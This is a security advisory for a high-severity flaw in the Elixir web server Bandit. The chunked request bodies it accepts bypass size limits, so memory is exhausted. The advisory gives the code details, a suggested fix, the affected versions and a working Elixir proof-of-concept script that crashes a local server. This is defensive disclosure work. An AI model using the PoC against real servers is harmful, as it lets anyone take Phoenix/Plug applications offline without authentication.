GHSA-9q9q-324x-93r2

Suggest an improvement
Source
https://github.com/advisories/GHSA-9q9q-324x-93r2
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-9q9q-324x-93r2/GHSA-9q9q-324x-93r2.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-9q9q-324x-93r2
Aliases
Published
2026-05-19T19:23:49Z
Modified
2026-05-19T19:30:08.907795491Z
Severity
  • 8.7 (High) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Bandit: Unauthenticated one-shot DoS via `Transfer-Encoding: chunked`
Details

Summary

Bandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. Plug.Parsers' default 8 MB length:) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single Transfer-Encoding: chunked request to any URL.

Details

In lib/bandit/http1/socket.ex:189, the chunked clause of read_data/2 only forwards :read_length and :read_timeout to do_read_chunked_data!/5 (:242); the caller-supplied :length cap is dropped. The recursion accumulates every chunk into an iolist and IO.iodata_to_binary/1 (:196) materializes the whole thing as one binary. The function always returns {:ok, body, ...} — never {:more, ...} — so callers cannot interpose a 413.

The content-length sibling at :210 does the right thing:

max_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))

Because Plug.Parsers runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any Content-Type matching a configured parser (:json, :urlencoded, :multipart) on any path triggers the bug.

Suggested Fix: track accumulated bytes in do_read_chunked_data! and either return {:more, ...} or raise request_error! once :length is exceeded, mirroring the content-length path.

PoC

Self-contained — boots a Bandit server with a realistic Plug.Parsers (length: 8_000_000) and floods it. Save as chunked_oom.exs, run elixir chunked_oom.exs, and watch beam.smp RSS climb past 8 MB until the OS OOM-killer fires.

Mix.install([{:bandit, "~> 1.10"}, {:plug, "~> 1.19"}])

defmodule DemoApp do
  use Plug.Builder

  # The `length` option here is ignored by the attack
  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: ["*/*"], json_decoder: JSON, length: 8_000_000
  plug :respond

  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, "ok")
end

{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)

# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.
chunk = :binary.copy(<<?A>>, 1_048_576)
frame = "#{Integer.to_string(1_048_576, 16)}\r\n#{chunk}\r\n"

{:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", 4321, [:binary, active: false])

:ok =
  :gen_tcp.send(sock, """
  POST / HTTP/1.1\r
  Host: 127.0.0.1\r
  Transfer-Encoding: chunked\r
  Content-Type: application/json\r
  Connection: close\r
  \r
  """)

Enum.each(1..10_240, fn _ -> :ok = :gen_tcp.send(sock, frame) end)
:ok = :gen_tcp.send(sock, "0\r\n\r\n")

IO.inspect(:gen_tcp.recv(sock, 0, 120_000))

Impact

Unauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts Plug.Parsers ahead of routing and auth. Configured length: caps on Plug.Parsers and Plug.Conn.read_body/2 are silently ineffective on the chunked path.

Database specific
{
    "github_reviewed": true,
    "severity": "HIGH",
    "github_reviewed_at": "2026-05-19T19:23:49Z",
    "nvd_published_at": "2026-05-13T14:17:32Z",
    "cwe_ids": [
        "CWE-770"
    ]
}
References

Affected packages

Hex / bandit

Package

Name
bandit
Purl
pkg:hex/bandit

Affected ranges

Type
SEMVER
Events
Introduced
1.4.0
Fixed
1.11.1

Affected versions

1.*
1.4.0
1.4.1
1.4.2
1.5.0
1.5.1
1.5.2
1.5.3
1.5.4
1.5.5
1.5.6
1.5.7
1.6.0
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.6.6
1.6.7
1.6.8
1.6.9
1.6.10
1.6.11
1.7.0
1.8.0
1.9.0
1.10.0
1.10.1
1.10.2
1.10.3
1.10.4
1.11.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-9q9q-324x-93r2/GHSA-9q9q-324x-93r2.json"